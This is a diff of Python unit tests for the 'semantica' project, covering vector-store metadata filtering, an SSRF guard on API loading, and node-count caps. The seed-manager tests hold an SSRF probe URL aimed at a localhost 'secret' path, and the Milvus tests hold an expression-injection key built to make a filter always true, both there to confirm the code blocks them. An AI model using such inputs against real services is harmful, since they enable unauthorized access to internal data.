+        src = pathlib.Path("semantica/explorer/routes/enrich.py").read_text(encoding="utf-8")
+        raw_counts_pos = src.index("session.get_raw_counts")
+        get_nodes_pos = src.index("session.get_nodes,")
+        assert raw_counts_pos < get_nodes_pos, (
+            "get_raw_counts() must run before get_nodes() so the cap is enforced "
+            "before paying the full O(graph size) normalization cost"
+        )
+
+    def test_predict_links_rejects_oversized_graph_e2e(self, monkeypatch):
+        """Exercise the real route: with the cap patched low, an oversized
+        graph must 413 instead of scoring the full candidate pool."""
+        pytest.importorskip("starlette")
+        monkeypatch.setenv("SEMANTICA_ALLOW_ANONYMOUS", "true")
+        monkeypatch.delenv("SEMANTICA_API_KEY", raising=False)
+        from starlette.testclient import TestClient
+        from semantica.context.context_graph import ContextGraph
+        from semantica.explorer.app import create_app
+        from semantica.explorer.session import GraphSession
+        import semantica.explorer.routes.enrich as enrich_module
+
+        graph = ContextGraph(advanced_analytics=False)
+        for i in range(5):
+            graph.add_node(f"n{i}", node_type="entity", content=f"node {i}")
+        session = GraphSession(graph)
+        if session.link_predictor is None:
+            pytest.skip("LinkPredictor not available; KG extras not installed.")
+
+        monkeypatch.setattr(enrich_module, "_LINK_PREDICTION_MAX_NODES", 2)
+
+        app = create_app(session=session)
+        with TestClient(app) as client:
+            response = client.post("/api/enrich/links", json={"node_id": "n0"})
+        assert response.status_code == 413
+        assert "nodes" in response.json()["detail"].lower()
+
+
+if __name__ == "__main__":
+    pytest.main([__file__, "-v"])

tests/test_seed_manager.py

@@ -147,11 +147,11 @@ def test_load_from_database_import_error(seed_manager):
             seed_manager.load_from_database("sqlite:///:memory:", query="SELECT 1")
         assert "Database ingestion module not available" in str(excinfo.value)
 
-@patch("requests.get")
-def test_load_from_api(mock_get, seed_manager):
+@patch("semantica.seed.seed_manager.request_with_ssrf_guard")
+def test_load_from_api(mock_guard, seed_manager):
     mock_response = MagicMock()
     mock_response.json.return_value = {"results": [{"id": 1, "name": "Alice"}]}
-    mock_get.return_value = mock_response
+    mock_guard.return_value = mock_response
 
     records = seed_manager.load_from_api(
         api_url="http://api.example.com",
@@ -162,7 +162,31 @@ def test_load_from_api(mock_get, seed_manager):
     assert len(records) == 1
     assert records[0]["id"] == 1
     assert records[0]["entity_type"] == "User"
-    mock_get.assert_called_once()
+    mock_guard.assert_called_once()
+
+def test_load_from_api_blocks_private_by_default(seed_manager):
+    with pytest.raises(ProcessingError) as excinfo:
+        seed_manager.load_from_api(api_url="http://127.0.0.1:8000/secret")
+    assert "blocked" in str(excinfo.value).lower() or "not allowed" in str(excinfo.value).lower()
+
+@patch("semantica.seed.seed_manager.request_with_ssrf_guard")
+def test_load_from_api_allows_private_when_configured(mock_guard, seed_manager):
+    mock_response = MagicMock()
+    mock_response.json.return_value = {"results": [{"id": 1, "name": "Alice"}]}
+    mock_guard.return_value = mock_response
+
+    manager = SeedDataManager(config={"allow_private_ips": True})
+    records = manager.load_from_api(
+        api_url="http://127.0.0.1:8000",
+        endpoint="users",
+        entity_type="User"
+    )
+
+    assert len(records) == 1
+    mock_guard.assert_called_once()
+    # The opt-in flag must reach the guard
+    call_kwargs = mock_guard.call_args[1]
+    assert call_kwargs["allow_private_ips"] is True
 
 def test_load_source(seed_manager, temp_data_dir):
     json_file = temp_data_dir / "source.json"

tests/vector_store/test_backend_metadata_filtering.py

@@ -0,0 +1,500 @@
+import unittest
+from unittest.mock import MagicMock, patch
+import numpy as np
+
+from semantica.vector_store.faiss_store import FAISSStore
+from semantica.vector_store.qdrant_store import QdrantStore
+from semantica.vector_store.pinecone_store import PineconeStore
+from semantica.vector_store.milvus_store import MilvusStore
+from semantica.vector_store.pgvector_store import PgVectorStore
+from semantica.vector_store.weaviate_store import WeaviateStore
+from semantica.utils.exceptions import ProcessingError, ValidationError
+
+
+class TestBackendMetadataFiltering(unittest.TestCase):
+
+    def test_faiss_store_filter_by_metadata(self):
+        store = FAISSStore(dimension=2)
+        mock_index = MagicMock()
+        mock_index.metadata = {
+            "v1": {"category": "finance", "score": 10},
+            "v2": {"category": "tech", "score": 20},
+        }
+        mock_index.get_vector.side_effect = lambda vid: np.array([1.0, 0.0]) if vid == "v1" else np.array([0.0, 1.0])
+        store.index = mock_index
+
+        results = store.filter_by_metadata({"category": "finance"}, limit=10)
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "v1")
+        self.assertEqual(results[0]["metadata"], {"category": "finance", "score": 10})
+
+    @patch('semantica.vector_store.qdrant_store.FieldCondition', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.MatchValue', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.Filter', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.QDRANT_AVAILABLE', True)
+    def test_qdrant_store_filter_by_metadata(self):
+        store = QdrantStore()
+        mock_collection = MagicMock()
+        mock_collection.collection_name = "test_coll"
+        store.collection = mock_collection
+        mock_client = MagicMock()
+        rec = MagicMock()
+        rec.id = "q1"
+        rec.payload = {"env": "prod"}
+        rec.vector = [0.1, 0.2]
+        mock_client.scroll.return_value = ([rec], None)
+        store.client = mock_client
+
+        results = store.filter_by_metadata({"env": "prod"}, limit=5)
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "q1")
+        self.assertEqual(results[0]["metadata"], {"env": "prod"})
+        mock_client.scroll.assert_called_once()
+
+    @patch('semantica.vector_store.qdrant_store.Range', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.FieldCondition', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.Filter', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.QDRANT_AVAILABLE', True)
+    def test_qdrant_store_filter_by_metadata_range(self):
+        """Range filters must construct Range objects and not raise NameError."""
+        store = QdrantStore()
+        mock_collection = MagicMock()
+        mock_collection.collection_name = "test_coll"
+        store.collection = mock_collection
+        mock_client = MagicMock()
+        rec = MagicMock()
+        rec.id = "r1"
+        rec.payload = {"score": 8}
+        rec.vector = [0.3, 0.4]
+        mock_client.scroll.return_value = ([rec], None)
+        store.client = mock_client
+
+        # min-only range
+        results = store.filter_by_metadata({"score": {"min": 5}}, limit=10)
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "r1")
+        mock_client.scroll.assert_called()
+
+        # Verify Range was actually called to build the condition (not skipped)
+        import semantica.vector_store.qdrant_store as qs_mod
+        qs_mod.Range.assert_called()
+
+    @patch('semantica.vector_store.qdrant_store.Range', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.FieldCondition', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.Filter', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.QDRANT_AVAILABLE', True)
+    def test_qdrant_store_filter_by_metadata_range_min_and_max(self):
+        """Range filters with both min and max must construct Range with both gte and lte."""
+        store = QdrantStore()
+        mock_collection = MagicMock()
+        mock_collection.collection_name = "test_coll"
+        store.collection = mock_collection
+        mock_client = MagicMock()
+        mock_client.scroll.return_value = ([], None)
+        store.client = mock_client
+
+        store.filter_by_metadata({"score": {"min": 5, "max": 10}}, limit=10)
+
+        import semantica.vector_store.qdrant_store as qs_mod
+        # Range must have been called with gte and lte
+        qs_mod.Range.assert_called_with(gte=5, lte=10)
+
+    @patch('semantica.vector_store.qdrant_store.MatchAny', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.FieldCondition', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.Filter', MagicMock())
+    @patch('semantica.vector_store.qdrant_store.QDRANT_AVAILABLE', True)
+    def test_qdrant_store_filter_by_metadata_list(self):
+        """List filters must construct MatchAny objects and not raise NameError."""
+        store = QdrantStore()
+        mock_collection = MagicMock()
+        mock_collection.collection_name = "test_coll"
+        store.collection = mock_collection
+        mock_client = MagicMock()
+        rec = MagicMock()
+        rec.id = "l1"
+        rec.payload = {"tags": "python"}
+        rec.vector = [0.5, 0.6]
+        mock_client.scroll.return_value = ([rec], None)
+        store.client = mock_client
+
+        results = store.filter_by_metadata({"tags": ["python", "ml"]}, limit=10)
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "l1")
+        mock_client.scroll.assert_called()
+
+        # Verify MatchAny was actually called with the filter list
+        import semantica.vector_store.qdrant_store as qs_mod
+        qs_mod.MatchAny.assert_called_with(any=["python", "ml"])
+
+    @patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
+    def test_pinecone_store_filter_by_metadata(self):
+        store = PineconeStore(dimension=2)
+        mock_index_wrapper = MagicMock()
+        mock_inner_index = MagicMock()
+
+        match_obj = MagicMock()
+        match_obj.id = "p1"
+        match_obj.metadata = {"status": "active"}
+        match_obj.values = [0.1, 0.9]
+
+        response = MagicMock()
+        response.matches = [match_obj]
+        mock_inner_index.query.return_value = response
+        mock_index_wrapper.index = mock_inner_index
+        store.index = mock_index_wrapper
+
+        results = store.filter_by_metadata({"status": "active"}, limit=5)
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "p1")
+        self.assertEqual(results[0]["metadata"], {"status": "active"})
+        # Assert query vector dimension matches store.dimension (2)
+        mock_inner_index.query.assert_called_once()
+        query_kw = mock_inner_index.query.call_args[1]
+        self.assertEqual(len(query_kw["vector"]), 2)
+
+    @patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
+    def test_pinecone_store_filter_by_metadata_unknown_dimension_raises(self):
+        store = PineconeStore()
+        mock_index_wrapper = MagicMock()
+        mock_index_wrapper.describe_index_stats = MagicMock(return_value={})
+        store.index = mock_index_wrapper
+        with self.assertRaises(ProcessingError):
+            store.filter_by_metadata({"status": "active"}, limit=5)
+
+    @patch('semantica.vector_store.milvus_store.MILVUS_AVAILABLE', True)
+    def test_milvus_store_filter_by_metadata(self):
+        store = MilvusStore()
+        mock_coll_wrapper = MagicMock()
+        mock_inner_coll = MagicMock()
+        mock_inner_coll.query.return_value = [
+            {"id": "m1", "vector": [0.3, 0.4], "metadata": {"lang": "py"}}
+        ]
+        mock_coll_wrapper.collection = mock_inner_coll
+        store.collection = mock_coll_wrapper
+
+        results = store.filter_by_metadata({"lang": "py"}, limit=5)
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "m1")
+        self.assertEqual(results[0]["metadata"], {"lang": "py"})
+
+    @patch('semantica.vector_store.milvus_store.MILVUS_AVAILABLE', True)
+    def test_milvus_store_filter_by_metadata_escaping(self):
+        store = MilvusStore()
+        mock_coll_wrapper = MagicMock()
+        mock_inner_coll = MagicMock()
+        mock_inner_coll.query.return_value = []
+        mock_coll_wrapper.collection = mock_inner_coll
+        store.collection = mock_coll_wrapper
+
+        store.filter_by_metadata(
+            {
+                "title": 'John "Jack" Doe',
+                "active": True,
+                "tags": ['python', 'c++ "v"'],
+            },
+            limit=5,
+        )
+
+        mock_inner_coll.query.assert_called_once()
+        expr = mock_inner_coll.query.call_args[1]["expr"]
+        self.assertIn('metadata["title"] == "John \\"Jack\\" Doe"', expr)
+        self.assertIn('metadata["active"] == true', expr)
+        self.assertIn('metadata["tags"] in ["python", "c++ \\"v\\""]', expr)
+
+    @patch('semantica.vector_store.milvus_store.MILVUS_AVAILABLE', True)
+    def test_milvus_store_filter_by_metadata_invalid_key_raises(self):
+        store = MilvusStore()
+        mock_coll_wrapper = MagicMock()
+        store.collection = mock_coll_wrapper
+
+        with self.assertRaises(ValidationError):
+            store.filter_by_metadata({'dept" || 1==1 || "': "val"}, limit=5)
+
+    @patch('semantica.vector_store.pgvector_store.PSYCOPG3_AVAILABLE', True)
+    @patch('semantica.vector_store.pgvector_store.psycopg_sql')
+    def test_pgvector_store_filter_by_metadata(self, mock_sql):
+        store = object.__new__(PgVectorStore)
+        store.table_name = "test_vectors"
+        store._is_safe_identifier = lambda k: True
+
+        mock_conn = MagicMock()
+        mock_cur = MagicMock()
+        mock_cur.fetchall.return_value = [
+            ("pg1", [0.1, 0.2], {"org": "acme"})
+        ]
+        mock_conn.cursor.return_value = mock_cur
+
+        with patch.object(PgVectorStore, '_get_connection', return_value=MagicMock(__enter__=MagicMock(return_value=mock_conn), __exit__=MagicMock())):
+            results = store.filter_by_metadata({"org": "acme"}, limit=10)
+            self.assertEqual(len(results), 1)
+            self.assertEqual(results[0]["id"], "pg1")
+            self.assertEqual(results[0]["metadata"], {"org": "acme"})
+
+    @patch('semantica.vector_store.pgvector_store.PSYCOPG3_AVAILABLE', True)
+    @patch('semantica.vector_store.pgvector_store.psycopg_sql')
+    def test_pgvector_store_filter_by_metadata_bool_true(self, mock_sql):
+        """Boolean True must become the string 'true' (lowercase) in the SQL parameter.
+
+        PostgreSQL JSONB ->> returns 'true' for a JSON boolean true.
+        str(True) == 'True' would never match; this test guards against regression.
+        """
+        store = object.__new__(PgVectorStore)
+        store.table_name = "test_vectors"
+        store._is_safe_identifier = lambda k: True
+
+        mock_conn = MagicMock()
+        mock_cur = MagicMock()
+        mock_cur.fetchall.return_value = [
+            ("pg2", [0.3, 0.4], {"active": True})
+        ]
+        mock_conn.cursor.return_value = mock_cur
+
+        with patch.object(
+            PgVectorStore,
+            '_get_connection',
+            return_value=MagicMock(
+                __enter__=MagicMock(return_value=mock_conn),
+                __exit__=MagicMock(),
+            ),
+        ):
+            results = store.filter_by_metadata({"active": True}, limit=10)
+
+        # Result is returned correctly
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "pg2")
+
+        # The critical assertion: 'true' (not 'True') was passed to execute()
+        execute_call_args = mock_cur.execute.call_args
+        self.assertIsNotNone(execute_call_args, "cursor.execute was not called")
+        params_passed = execute_call_args[0][1]  # positional arg 1 is the params list/tuple
+        self.assertIn('true', params_passed,
+                      "Expected lowercase 'true' in SQL params, got: {}".format(params_passed))
+        self.assertNotIn('True', params_passed,
+                         "str(True)='True' must NOT appear in SQL params")
+
+    @patch('semantica.vector_store.pgvector_store.PSYCOPG3_AVAILABLE', True)
+    @patch('semantica.vector_store.pgvector_store.psycopg_sql')
+    def test_pgvector_store_filter_by_metadata_bool_false(self, mock_sql):
+        """Boolean False must become the string 'false' (lowercase) in the SQL parameter.
+
+        PostgreSQL JSONB ->> returns 'false' for a JSON boolean false.
+        str(False) == 'False' would never match; this test guards against regression.
+        """
+        store = object.__new__(PgVectorStore)
+        store.table_name = "test_vectors"
+        store._is_safe_identifier = lambda k: True
+
+        mock_conn = MagicMock()
+        mock_cur = MagicMock()
+        mock_cur.fetchall.return_value = [
+            ("pg3", [0.5, 0.6], {"active": False})
+        ]
+        mock_conn.cursor.return_value = mock_cur
+
+        with patch.object(
+            PgVectorStore,
+            '_get_connection',
+            return_value=MagicMock(
+                __enter__=MagicMock(return_value=mock_conn),
+                __exit__=MagicMock(),
+            ),
+        ):
+            results = store.filter_by_metadata({"active": False}, limit=10)
+
+        # Result is returned correctly
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "pg3")
+
+        # The critical assertion: 'false' (not 'False') was passed to execute()
+        execute_call_args = mock_cur.execute.call_args
+        self.assertIsNotNone(execute_call_args, "cursor.execute was not called")
+        params_passed = execute_call_args[0][1]  # positional arg 1 is the params list/tuple
+        self.assertIn('false', params_passed,
+                      "Expected lowercase 'false' in SQL params, got: {}".format(params_passed))
+        self.assertNotIn('False', params_passed,
+                         "str(False)='False' must NOT appear in SQL params")
+
+    @patch('semantica.vector_store.pgvector_store.PSYCOPG3_AVAILABLE', True)
+    @patch('semantica.vector_store.pgvector_store.psycopg_sql')
+    def test_pgvector_store_filter_by_metadata_bool_list(self, mock_sql):
+        """List-valued boolean filters must use lowercase 'true'/'false', not
+        str(True)/str(False), matching the scalar branch's handling.
+        """
+        store = object.__new__(PgVectorStore)
+        store.table_name = "test_vectors"
+        store._is_safe_identifier = lambda k: True
+
+        mock_conn = MagicMock()
+        mock_cur = MagicMock()
+        mock_cur.fetchall.return_value = [
+            ("pg4", [0.7, 0.8], {"active": True})
+        ]
+        mock_conn.cursor.return_value = mock_cur
+
+        with patch.object(
+            PgVectorStore,
+            '_get_connection',
+            return_value=MagicMock(
+                __enter__=MagicMock(return_value=mock_conn),
+                __exit__=MagicMock(),
+            ),
+        ):
+            results = store.filter_by_metadata({"active": [True, False]}, limit=10)
+
+        self.assertEqual(len(results), 1)
+        execute_call_args = mock_cur.execute.call_args
+        params_passed = execute_call_args[0][1]
+        flat_params = [v for p in params_passed for v in (p if isinstance(p, list) else [p])]
+        self.assertIn('true', flat_params)
+        self.assertIn('false', flat_params)
+        self.assertNotIn('True', flat_params)
+        self.assertNotIn('False', flat_params)
+
+    def test_faiss_store_filter_by_metadata_limit_zero(self):
+        """limit=0 must return no results, not the first match."""
+        store = FAISSStore(dimension=2)
+        mock_index = MagicMock()
+        mock_index.metadata = {
+            "v1": {"category": "finance", "score": 10},
+        }
+        mock_index.get_vector.return_value = np.array([1.0, 0.0])
+        store.index = mock_index
+
+        results = store.filter_by_metadata({"category": "finance"}, limit=0)
+        self.assertEqual(results, [])
+
+    @patch('semantica.vector_store.milvus_store.MILVUS_AVAILABLE', True)
+    def test_milvus_store_filter_by_metadata_nan_raises(self):
+        """NaN/Infinity are not valid Milvus expression literals and must be
+        rejected up front rather than silently producing an invalid expression
+        that gets swallowed by the broad except around the query() call.
+        """
+        store = MilvusStore()
+        mock_coll_wrapper = MagicMock()
+        store.collection = mock_coll_wrapper
+
+        with self.assertRaises(ValidationError):
+            store.filter_by_metadata({"score": {"min": float("nan")}}, limit=5)
+
+    @patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
+    def test_pinecone_store_get_index_sets_dimension_from_stats(self):
+        """get_index() must read stats from the returned PineconeIndex wrapper
+        (self.index), not from a nonexistent method on the store itself.
+        """
+        store = PineconeStore()
+        mock_client = MagicMock()
+        mock_pinecone_index = MagicMock()
+        mock_client.get_index.return_value = mock_pinecone_index
+        store.client = mock_client
+
+        with patch(
+            'semantica.vector_store.pinecone_store.PineconeIndex'
+        ) as mock_index_cls:
+            mock_index_instance = MagicMock()
+            mock_index_instance.describe_index_stats.return_value = {"dimension": 42}
+            mock_index_cls.return_value = mock_index_instance
+
+            store.get_index("my-index")
+
+        self.assertEqual(store.dimension, 42)
+
+    def test_weaviate_store_filter_by_metadata(self):
+        store = WeaviateStore()
+        mock_coll = MagicMock()
+        obj1 = MagicMock()
+        obj1.uuid = "w-uuid-1"
+        obj1.properties = {"dept": "eng"}
+        obj1.vector = [0.5, 0.5]
+        objs = MagicMock()
+        objs.objects = [obj1]
+        mock_coll.query.fetch_objects.return_value = objs
+        store.collection = mock_coll
+
+        with patch('semantica.vector_store.weaviate_store.WEAVIATE_AVAILABLE', True):
+            results = store.filter_by_metadata({"dept": "eng"}, limit=5)
+            self.assertEqual(len(results), 1)
+            self.assertEqual(results[0]["id"], "w-uuid-1")
+            self.assertEqual(results[0]["metadata"], {"dept": "eng"})
+
+    def test_weaviate_store_filter_by_metadata_pagination(self):
+        """Test that WeaviateStore.filter_by_metadata paginates beyond page 1 to find matching items."""
+        store = WeaviateStore()
+        mock_coll = MagicMock()
+
+        # Batch 1: 100 non-matching objects
+        batch1_objs = []
+        for i in range(100):
+            obj = MagicMock()
+            obj.uuid = f"batch1-uuid-{i}"
+            obj.properties = {"dept": "hr"}
+            obj.vector = [0.1, 0.1]
+            batch1_objs.append(obj)
+
+        res1 = MagicMock()
+        res1.objects = batch1_objs
+
+        # Batch 2: 2 matching objects
+        obj_match1 = MagicMock()
+        obj_match1.uuid = "match-uuid-1"
+        obj_match1.properties = {"dept": "eng"}
+        obj_match1.vector = [0.5, 0.5]
+
+        obj_match2 = MagicMock()
+        obj_match2.uuid = "match-uuid-2"
+        obj_match2.properties = {"dept": "eng"}
+        obj_match2.vector = [0.6, 0.6]
+
+        res2 = MagicMock()
+        res2.objects = [obj_match1, obj_match2]
+
+        def side_effect(**kwargs):
+            if kwargs.get("after") == "batch1-uuid-99":
+                return res2
+            return res1
+
+        mock_coll.query.fetch_objects.side_effect = side_effect
+        store.collection = mock_coll
+
+        with patch('semantica.vector_store.weaviate_store.WEAVIATE_AVAILABLE', True):
+            results = store.filter_by_metadata({"dept": "eng"}, limit=5)
+            self.assertEqual(len(results), 2)
+            self.assertEqual(results[0]["id"], "match-uuid-1")
+            self.assertEqual(results[1]["id"], "match-uuid-2")
+
+    def test_weaviate_store_filter_by_metadata_native_filter(self):
+        """Test building native Weaviate filters for exact, range, and list criteria."""
+        store = WeaviateStore()
+        mock_filter_cls = MagicMock()
+        mock_filter_prop = MagicMock()
+        mock_filter_cls.by_property.return_value = mock_filter_prop
+
+        mock_module = MagicMock()
+        mock_module.classes.query.Filter = mock_filter_cls
+
+        with patch('semantica.vector_store.weaviate_store.WEAVIATE_AVAILABLE', True), \
+             patch('semantica.vector_store.weaviate_store.weaviate', mock_module):
+
+            # Test exact match
+            res = store._build_weaviate_filter({"dept": "eng"})
+            mock_filter_cls.by_property.assert_called_with("dept")
+            mock_filter_prop.equal.assert_called_with("eng")
+
+            # Test range filter
+            mock_filter_cls.reset_mock()
+            mock_filter_prop.reset_mock()
+            res = store._build_weaviate_filter({"age": {"min": 20, "max": 50}})
+            mock_filter_cls.by_property.assert_called_with("age")
+            mock_filter_prop.greater_or_equal.assert_called_with(20)
+            mock_filter_prop.less_or_equal.assert_called_with(50)
+
+            # Test list filter
+            mock_filter_cls.reset_mock()
+            mock_filter_prop.reset_mock()
+            res = store._build_weaviate_filter({"tags": ["a", "b"]})
+            mock_filter_cls.by_property.assert_called_with("tags")
+            mock_filter_prop.contains_any.assert_called_with(["a", "b"])
+
+
+if __name__ == "__main__":
+    unittest.main()
+

tests/vector_store/test_decision_embedding_pipeline.py

@@ -773,19 +773,21 @@ class TestBuildDecisionContextFAISSBackend:
 
 class TestFilterByMetadataBackendBehavior:
     """
-    Requirement (issue #848 follow-up): verify the chosen behavior of
+    Requirement (issue #848, superseded by #857): verify the behavior of
     _filter_by_metadata when a non-inmemory backend is active.
 
-    The decision: raise NotImplementedError (matching get_vector / get_metadata
-    from #843) rather than silently returning [].
+    #848's original decision was to raise NotImplementedError (matching
+    get_vector / get_metadata from #843) rather than silently return [],
+    because at the time zero backend wrappers implemented
+    filter_by_metadata(filters, limit).
 
-    Rationale documented in the production comment:
-    - Zero backend wrappers implement filter_by_metadata(filters, limit).
-    - The only codebase hit (HybridSearch.filter_by_metadata) has a completely
-      different signature and is never stored in _backend_store.
-    - Returning [] would make filter_decisions(query=None, category="loan")
-      report "zero matches" when the truth is "capability not available" —
-      indistinguishable from a real empty result and therefore wrong.
+    #857 gave every persistent backend (FAISS, Qdrant, Pinecone, Milvus,
+    PgVector, SQLiteVec, Weaviate) a real filter_by_metadata() implementation,
+    so FAISS-backed filter_decisions(query=None, ...) now returns actual
+    filtered results instead of raising. The NotImplementedError path itself
+    is still correct and still covered (see
+    test_filter_by_metadata_backend_not_implemented in test_vector_store.py)
+    for a backend that genuinely lacks the method.
     """
 
     def _make_faiss_store(self):
@@ -809,34 +811,26 @@ class TestFilterByMetadataBackendBehavior:
         )
         return vs, ids
 
-    # ── FAISS backend: NotImplementedError, not AttributeError, not [] ── #
+    # ── FAISS backend: real results, not AttributeError, not [] ── #
 
-    def test_filter_by_metadata_faiss_raises_not_implemented(self):
+    def test_filter_by_metadata_faiss_returns_real_results(self):
         """
         filter_decisions(query=None, category='loan') on a FAISS-backed store
-        must raise NotImplementedError, not AttributeError (old crash) and not
-        silently return [] (the wrong silent-failure fix).
-
-        This test pins the chosen behavior: explicit NotImplementedError matching
-        the get_vector/get_metadata precedent set by issue #843.
+        must return the actual matching decisions, not raise AttributeError
+        (old crash) and not silently return [] (the old NotImplementedError
+        stand-in from #848, superseded once #857 gave FAISSStore a real
+        filter_by_metadata()).
         """
         vs, _ids = self._make_faiss_store()
 
-        with pytest.raises(NotImplementedError) as exc_info:
-            vs.filter_decisions(query=None, category="loan")
+        results = vs.filter_decisions(query=None, category="loan")
 
-        # Message must name the backend and point to the correct alternative
-        msg = str(exc_info.value)
-        assert "FAISSStore" in msg, (
-            f"Error message should name the backend class, got: {msg!r}"
-        )
-        assert "filter_decisions" in msg or "filter_by_metadata" in msg, (
-            f"Error message should mention the failing method, got: {msg!r}"
-        )
-        assert "search_decisions" in msg, (
-            f"Error message should suggest search_decisions() as the alternative, "
-            f"got: {msg!r}"
+        assert isinstance(results, list)
+        assert len(results) == 2, (
+            f"Expected 2 loan decisions, got {len(results)}: {results}"
         )
+        for r in results:
+            assert r["metadata"]["category"] == "loan"
 
     def test_filter_by_metadata_faiss_not_attribute_error(self):
         """

tests/vector_store/test_pinecone_store.py

@@ -82,6 +82,7 @@ class TestPineconeStore(unittest.TestCase):
         self.assertIsInstance(store.search_engine, PineconeSearch)
         store.client.create_index.assert_called_once()
 
+    @patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
     @patch('semantica.vector_store.pinecone_store.PineconeClientLib')
     def test_upsert_vectors(self, mock_pinecone_client):
         """Test upserting vectors to Pinecone index."""
@@ -105,6 +106,7 @@ class TestPineconeStore(unittest.TestCase):
         self.assertEqual(result["upserted_count"], 2)
         store.index.upsert_vectors.assert_called_once()
 
+    @patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
     @patch('semantica.vector_store.pinecone_store.PineconeClientLib')
     def test_search_vectors(self, mock_pinecone_client):
         """Test searching vectors in Pinecone index."""
@@ -128,6 +130,7 @@ class TestPineconeStore(unittest.TestCase):
         self.assertEqual(results[0]["id"], "id1")
         store.search_engine.similarity_search.assert_called_once()
 
+    @patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
     @patch('semantica.vector_store.pinecone_store.PineconeClientLib')
     def test_delete_vectors(self, mock_pinecone_client):
         """Test deleting vectors from Pinecone index."""
@@ -148,6 +151,7 @@ class TestPineconeStore(unittest.TestCase):
         # Fix: assert called without the empty dict
         store.index.delete_vectors.assert_called_once_with(["id1", "id2"], "")
 
+    @patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
     @patch('semantica.vector_store.pinecone_store.PineconeClientLib')
     def test_fetch_vectors(self, mock_pinecone_client):
         """Test fetching vectors from Pinecone index."""

tests/vector_store/test_sqlite_vec_store.py

@@ -413,3 +413,51 @@ class TestSQLiteVecStoreStats:
 
         stats = store.get_stats()
         assert stats["vector_count"] == 4
+
+
+class TestSQLiteVecStoreFilterByMetadata:
+    """Test filter_by_metadata, including list-valued metadata handling."""
+
+    def test_filter_exact_match(self, store):
+        vectors = [np.random.rand(128).astype(np.float32) for _ in range(2)]
+        metadata = [{"category": "finance"}, {"category": "tech"}]
+        ids = store.add(vectors, metadata, ids=["v1", "v2"])
+
+        results = store.filter_by_metadata({"category": "finance"}, limit=10)
+
+        assert [r["id"] for r in results] == ["v1"]
+
+    def test_filter_scalar_field_against_list_filter(self, store):
+        """A scalar metadata value should match via plain IN-list membership."""
+        vectors = [np.random.rand(128).astype(np.float32) for _ in range(2)]
+        metadata = [{"category": "finance"}, {"category": "tech"}]
+        store.add(vectors, metadata, ids=["v1", "v2"])
+
+        results = store.filter_by_metadata({"category": ["finance", "ops"]}, limit=10)
+
+        assert [r["id"] for r in results] == ["v1"]
+
+    def test_filter_array_field_intersects_list_filter(self, store):
+        """A list-valued metadata field must match on set intersection with the
+        filter list, mirroring the in-memory backend's semantics -- not on a
+        literal comparison of the whole array's JSON text against each candidate.
+        """
+        vectors = [np.random.rand(128).astype(np.float32) for _ in range(3)]
+        metadata = [
+            {"tags": ["python", "js"]},
+            {"tags": ["go"]},
+            {"tags": ["python", "ml"]},
+        ]
+        store.add(vectors, metadata, ids=["v1", "v2", "v3"])
+
+        results = store.filter_by_metadata({"tags": ["python", "ml"]}, limit=10)
+
+        assert {r["id"] for r in results} == {"v1", "v3"}
+
+    def test_filter_limit_zero_returns_empty(self, store):
+        vectors = [np.random.rand(128).astype(np.float32)]
+        store.add(vectors, [{"category": "finance"}], ids=["v1"])
+
+        results = store.filter_by_metadata({"category": "finance"}, limit=0)
+
+        assert results == []

tests/vector_store/test_vector_manager_persistent.py

@@ -0,0 +1,457 @@
+"""Regression tests for #855 / #914: VectorManager persistent-backend crash.
+
+VectorManager.maintain_store() and collect_statistics() used to reach
+into VectorStore internals (``.vectors`` / ``.metadata``), which only
+exist for the inmemory backend — any persistent backend (FAISS, Qdrant,
+Pinecone, Milvus, SQLite, PgVector, Weaviate) crashed with AttributeError.
+Both methods now go through the public backend-agnostic
+``VectorStore.count()`` accessor.
+
+Phase 1 (PR #855): dispatch fix + NotImplementedError instead of
+AttributeError for backends that don't implement count().
+
+Phase 2 (PR #914): count() added to FAISSStore, SQLiteVecStore, and
+PgVectorStore — the three backends whose storage contracts guarantee a
+reliable, synchronous count.  maintain_store() revised so the
+persistent-backend path no longer manufactures a vacuous
+``metadata_count == vector_count`` tautology; instead it returns
+``metadata_count=None`` and delegates healthiness to whether the store is
+reachable.
+"""
+
+import tempfile
+import unittest
+from pathlib import Path
+from unittest.mock import MagicMock, patch
+
+import numpy as np
+
+from semantica.vector_store.vector_store import VectorStore, VectorManager
+
+
+# ---------------------------------------------------------------------------
+# Minimal fake backend stores for dispatch-level unit tests
+# ---------------------------------------------------------------------------
+
+class _CountingBackendStore:
+    """Fake persistent backend store that supports count()."""
+
+    def __init__(self, n: int):
+        self._n = n
+
+    def count(self) -> int:
+        return self._n
+
+
+class _NonCountingBackendStore:
+    """Fake persistent backend store without any count capability."""
+
+
+class _MisShapedBackendStore:
+    """Backend store whose ``count`` attribute is not callable."""
+
+    count = 42  # plain attribute, not a method
+
+
+# ---------------------------------------------------------------------------
+# VectorStore.count() dispatch tests
+# ---------------------------------------------------------------------------
+
+class VectorStoreCountTests(unittest.TestCase):
+    """VectorStore.count() backend-agnostic accessor — dispatch logic."""
+
